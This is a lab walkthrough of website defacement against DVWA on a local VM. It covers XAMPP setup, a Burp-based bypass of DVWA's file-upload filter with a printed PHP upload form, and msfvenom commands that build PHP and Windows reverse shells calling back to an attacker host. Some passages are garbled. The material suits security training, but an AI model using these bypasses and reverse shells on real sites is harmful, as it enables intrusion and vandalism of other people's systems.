Website Defacement
In this article we will see what Website Defacement consists of and we will perform a lab exercise on a local lab with our VMs.
What is Website Defacement?
The Website Defacement consists of attacking a website with the objective of changing its appearance. Normally the homepage is replaced by some message indicating that it was compromised. We can think of this type of attack as a kind of vandalism like the graffiti of protest on the fronts of police stations or on the windows of shopping centers.
Many times this type of attack is intended to spread a message of a political or protest nature, in other cases the goal is to impact the website's reputation and in other cases it is done simply so the attacker can boast that they hacked the site in question.
Some of the most famous websites in the world have been victims of this type of attack at some point. In 2012 Google Romania was hacked and every user in Romania who tried to access the search engine was presented with a page warning that they had been hacked. It is noteworthy that it is suspected this attack actually lasted at least 5 days until they managed to revert the changes within a few hours after detecting it. In 2018 a medical information and patient survey website managed by the National Health Service of the United Kingdom, was also a victim of this type of attack. During that time anyone trying to access the website could see the defacement message: "Hacked by AnoaGhost".
In 2019 at least 15 thousand websites in Georgia (the European country) were hacked to carry out a massive defacement attack and eventually those sites were taken offline by the attackers. Among these sites were government sites, banks, news outlets and television networks.
It is worth noting that to carry out this type of attack, various techniques are used to exploit vulnerabilities such as XSS, SQL Injection, CSRF, DNS Hijacking, etc.
That is to say the attack vectors that can be used to gain control of the website actually depend on the vulnerabilities present in the website being targeted for Defacement.
Creating a lab to practice Web Defacement
ATTENTION: This practice laboratory is intended for educational purposes. Do not attempt to perform this on a website that does not belong to you. I am not responsible for illicit use of this information.
We will now see how we can put this type of attack into practice using a vulnerable web application on a virtual machine. To set up this lab we will use the following:
Windows 10 VM: This VM will be responsible for serving our vulnerable application. You can use Linux/OSx if you prefer.
XAMPP: It will allow us to quickly install our vulnerable web application.
DVWA (Damn Vulnerable Web Application): The vulnerable application with which we can practice various techniques and attacks. In this case we will use it to do a Web Defacement.
Installing XAMPP
The installation of XAMPP is quite simple, just run the installer and practically click Next with the default values until the installation begins.
In my case I will choose to install everything in English, in your case you can choose another language in the next installation step:
Once the desired settings are selected, the installer will inform us that everything is ready to begin the installation:
When the installation begins we will see a screen similar to this:
Once the installation is complete, check the checkbox so the XAMPP control panel opens:
When the control panel of XAMPP opens, we only need to click the Start button for the Apache and MySQL. Once the initialization of these options is complete we will see the following:
NOTE: If you receive an error when trying to initialize Apache, make sure to stop any service that is using the same ports Apache is trying to use (80 and 443).
In some cases the Windows Firewall may ask for confirmation to grant access to Apache and MySQL. Be sure to do so if that confirmation appears.
With this we already have our XAMPP stack ready to load our vulnerable web application and begin our practice. Next we will see how to configure DVWA to be served with XAMPP and so we can access this app.
Installing DVWA
Now that we have XAMPP configured, the next step is to install our vulnerable web app so that it can be accessed and eventually attacked for our Web Defacement practice. The first thing we need to do is download DVWA and unzip the folder on the Windows 10 VM desktop (or wherever you prefer).
In my case I will choose to rename this folder from its original name DVWA-master to simply DVWA. I do this because the name, whatever we choose, will be the one we use to access this Web Application from the URL.
Once the folder is ready, we must move or copy it into the subdirectory called htdocs inside the installation folder of XAMPP.. In my case I chose to install XAMPP in the following path C:\xampp and then inside I copied the folder DVWA into htdocs. As shown in the image below:
The next step is to modify the configuration file of DVWA so that it can connect to the database MySQL that was configured by XAMPP. For this we enter the directory DVWA, then the subdirectory called config and create a copy of the file named config.inc.php.dist and rename the copy as config.inc.php. Once this is ready, open that file with Notepad or your editor of choice and we will see the following:
The only thing we need to change in this file is the DB username and password to the following:
db_user:
rootdb_password:
leave it empty.
The file should look like in the following image:
When finished save the changes and we are ready to open our web app in the browser. To do this open your browser and navigate to the following URL: localhost/DVWA/setup.php:
We will see that the application will load by default the page to set up the database. Once on this page we only need to click the button called Create/Reset Database located at the bottom of the page and after a moment we will see the following:
If everything went well, the application will automatically redirect us to the app's login form:
NOTE: To log in we use the credentials: admin and is also stored line by line. In fact each of the lines of this file corresponds 1 to 1 with those of the
Once inside the app, we will configure the security level to medium and apply the changes. DVWA allows us to configure different security levels to practice various types of attacks simulating more or less vulnerable applications. In this case we will use the Medium level, just select it in DVWA Security -> Medium and click the Submit button. Once done we will see the confirmation message below, as shown in the following image:
With all this configured, we are ready to see how to compromise this app to achieve our objective of practicing Web Defacement.
Practicing Website Defacing
The Tools
For our defacement practice, we will use the following tools. Make sure to download them on your attack machine and have Burp installed. In my case I will use Kali which already comes with Burp Suite Community installed. I should clarify that I had never tried to compromise this web application before, therefore this write-up may be quite long since I will document every process I try to follow to hack it.
Tools we will use for the Defacement:
Burp Suite [LINK]: To analyze the requests generated from/to the vulnerable application. We will even use Burp to bypass certain security mechanisms of the application in order to obtain the access necessary to do the defacement.
msfvenom: We will create a payload that gives us initial access to the server, from which we can eventually perform the defacement.
Index.html [LINK]: The custom HTML file that will be used to replace the home page of our victim application. This file is adapted for this practice from several defacement examples I found on the internet, including one created by
Wh1t3R0s3.
Testing possible vulnerabilities in File Uploads
The first thing we will do is open Burp to use its integrated browser and check that we have access to the web we set up with XAMPP. I will do all this from VM with Kali. The idea is to review the file upload module that DVWA has and try to bypass its protections, to be able to upload a payload that gives us initial access to this server where the app is hosted. So we open Burp, and navigate to the URL where we installed this app.
Once Burp Suiteis open, navigate to the following path to open the integrated browser:
Proxy Tab -> Intercept Tab -> Open Browser button(both the one in the tab header and the one in the body of burp tab content do the same).Navigate to the URL of our vulnerable web app:
Windows-VM-IP:port/pathDVWA:Windows-VM-IP: The IP of the VM (Windows 10 in my case) where
XAMPPis running and our appDVWA.Port: The port to connect to the content being served
XAMPP(80and443).pathDVWA: The name of the folder where we saved
DVWAwhich is insideXAMPP/htdocs.
Login in DVWA: in this case we are not interested in compromising this login form, since we already know the
credentials (admin:password). The challenge we are interested in solving is inside the DVWA dashboard, and it is the one that will give us access to perform our defacement.
Once logged into our app, navigate to the File Upload option in the app's left menu:
The idea of our attack will be the following. We will try to bypass the upload form exposed in this part of the app, which only accepts images. And we will see how we can bypass that protection to upload our PHP form. This PHP form will give us access to eventually upload files that give us access to manipulate the server files, specifically the file that is served as the home of this web app (index.php). That index file will then be replaced by our HTML for defacement that I prepared beforehand. In this way we will perform our defacement.
To begin we will enable the interceptor in Burp Suite so that the communication between our browser in Kali and the web app can be intercepted. We are interested in knowing what type of request is sent to the server when we upload a valid image and when we try to upload a file whose extension is not allowed. We will evaluate the differences with Burp and see how we can manipulate that invalid request to convince the server that the file we are trying to upload is an image and not a PHP.
Let's see what happens in the request sent when we upload a valid image:
And we see that when clicking Forward, the request is processed and accepted by the server:
We can observe two important pieces of data in the request:
Content-Type: image/jpeg: Which indicates that the server will interpret the file being uploaded as, in this case, an image.Filename="Test1.jpg": The filename and its extension.
And if we navigate to that path, we see that indeed our image file is on the server:
Let's see how the request behaves when the uploaded file contains a prohibited extension.
And when forwarding that request, we see that it is detected as invalid and rejected as expected:
We can observe the same important data in this request:
Content-Type: application/x-php: Which indicates that the server will interpret the file being uploaded as aphp.Filename="Test_shell.php": The filename and its extension.
With this information, we can theorize that both parameters influence when the controls (or filters) implemented to sanitize uploaded files are executed.
Obtaining Initial Access: Exploiting the File Upload
With this information we can try our first attack to attempt to upload our form and bypass this control implemented by the app. We will do it by modifying the request sent to the server when we click Upload after attaching a PHP file.
Let's review then what we will attempt:
We will create our own file upload form that has no protection and allows us to upload any type of file. This form will be the first file we must manage to upload, and it is the one that will open the doors to the server.
We will try to see how we can upload this form to the server, for which we will attack the DVWA File Upload form.
When uploading our form, we will intercept the request with
Burp Suiteand modify theFilenameandContent-Typeto specify that ourPHP Formis actually an image and see if in this way we can bypass the protection.We will send the modified request to the server.
With this we will test whether this modified request can indeed bypass the app's protections and whether our file will be uploaded without problems.
Once we have the
Custom File Upload Formuploaded, we will use it to upload apayload (php reverse shell in this case)with which, if all goes well, we will have initial access to begin the defacement.
Creating our unrestricted Custom File Upload
I will not go into detail on how to create this PHP form, I will leave the code I prepared below and the repository of a similar idea that helped me put everything together.
It is very possible that the upload verification mechanism used by this app can detect our PHP code as an app, despite us providing Content-Type, Filename and headers as if they were those of an image. For this reason we will try to mask our form as best as possible, while trying to keep it as small as possible.
What we will do is create a very small PHP and HTML file that simply generates an upload form with no restrictions. If we manage to upload this small form without problems, we will be closer to having the access necessary to do the defacement.
The code would look like this:
You can download the example I used as a base from the following repository: 👉 LINK
GIF98
<?php
if(isset($_POST['upload'])){
$file_name = $_FILES['file']['name'];
$file_type = $_FILES['file']['type'];
$file_size = $_FILES['file']['size'];
$file_temp = $_FILES['file']['tmp_name'];
$file_save = ".\\". $file_name;
move_uploaded_file($file_temp, $file_save);
}
echo '
<!DOCTYPE html>
<html>
<head>
<title>CEH-UTN-UPLOAD</title>
</head>
<body>
<br>
<img src="https://i.imgur.com/kNiob7g.png" alt="by tzero86">
<form action="?" method="POST" enctype="multipart/form-data">
<label>Upload File</label>
<p><input type="file" name="file"></p>
<p><input type="submit" name="upload" value="Upload"></p>
</form>
</body>
</html>',
'
?>This file I will save as GIF98.php.jpg in an attempt to bypass some control that checks the uploaded file's extension. It is quite common that weak protections implemented in web apps only verify from the end of the filename to the first dot (.jpg) ignoring the second extension (.php). Sometimes this verification is done the other way around, and it is checked from left to right from the filename so it is possible we may have to change the name to GIF98.php.jpg.
We will also edit the request after clicking Upload in the app, to remove the jpg extension and leave the Filename parameter like this: Filename=GIF98.php.
The name of this form can be whatever you want, in my case I chose that one for no technical reason but it was after reviewing some resources like Hacktricks and Penetration Testing Playbook, where the possibility of bypassing some protections by adding an image header to our PHP is mentioned (header):
The concept is simple: you try that the server interprets the request headers and then when it "sees" the content the first thing it finds is an instruction (header) that is normally associated with an image file. In the example above we see that this header is GIF89a, but there are also others such as GIF98 which is the one I will use in this lab.
Let's see if this idea works: In DVWA -> File Upload we will upload our form and intercept the request with Burp after uploading it.
We will modify the following if the request shows that when uploading the file its format is detected as application/x-php and not as an image:
We change the value of
Filename=GIF98.php.jpgtoFilename=GIF98.phpWe change the value of
Content-Type: application/x-phptoContent-Type: image/jpeg
The request will look like this:
When forwarding the modified request we see the result:
We did it! we were able to bypass the app's protection and uploaded our own File Uploader. Let's see now if we can load it by accessing the path the app gives us in the message:
And indeed we can open our File Uploader:
We can test this form to see that indeed any file we upload, regardless of its extension, will be accepted. In this case I have already tested it and it works, so I will not cover that mini test since this write-up is already quite long.
Creating our reverse shell with msfvenom
NOTE: In a real scenario many of these payloads we create can be easily detected by the Firewall and Antivirus installed on the server. In this case since we are practicing in a test lab we will not have that problem and even if we did we can disable them. To mitigate this we can use obfuscation techniques to upload them without being detected.
Let's quickly see how we can create our reverse shell using msfvenom. We will not use metasploitdirectly, we will instead try to connect the reverse shell to our netcat listener in the Kali terminal.
msfvenom -p php/reverse_php LHOST=ATTACK_VM_IP LPORT=DESIRED_PORT -f raw > name_ofShell.phpIn my case:
Now that we have our payload, we set up our listener:
With everything ready we upload our payload:
Indeed if we go to the URL where files are uploaded, we will see our payload:
Finally let's see if we can get a connection to the server by reverse shell when opening our payload:
And in our terminal we finally receive the connection:
The next step is the defacement which we will see below, for the defacement the objective is to replace index.php with our web file that we prepared for the defacement.
Before we can proceed with the defacement we must solve a small problem, the connection we receive with our reverse shell is quite unstable and the connection to the server cuts off quickly. To mitigate this problem we will try to create a second payload in exe format for the Windows platform where the app runs. The idea is that once we have the initial connection with thepayload1 , we will execute the payload2 netcat to obtain a more stable session in a
secondary listener. msfvenom:
To create this second payload, we will also usemsfvenom -p windows/shell_reverse_tcp LHOST=ATTACK_VM_IP LPORT=DESIRED_PORT -f exe > payload2_name.exe
We create this second payload:
And once created we upload it with our custom upload form, as we did with the first payload. Now we will leave 2 listeners netcatrunning with , each pointing to the port selected when creating these payloads. In my case, and 2112 for the php payload2113 for the exe . We will then execute the php payload
and upon receiving the connection we will quickly execute the .exe payload to receive the other reverse shell connection which may be more stable:
Now we finally have a second more stable shell to work with. The next step, finally, is the defacement.
Performing the Website Defacement
Finally, after several processes we have initial access to the server to perform the defacement. Let’s see if we can carry it out without encountering any other obstacle. index.php The first thing is to have our HTML ready to replace the and we will serve it online using a local HTTP server started with:
python
Then we download that file to the webserver using Curl: HTML And indeed we see that we managed to upload our
for the defacement: DVWA:
Let's see if we can view the defacement by accessing the main path ofWe did it Website Defacement.
, the hardest part was learning how to bypass the file upload protections of this web app and how to generate a stable reverse shell connection that then allowed us to carry out our
Last updated
Was this helpful?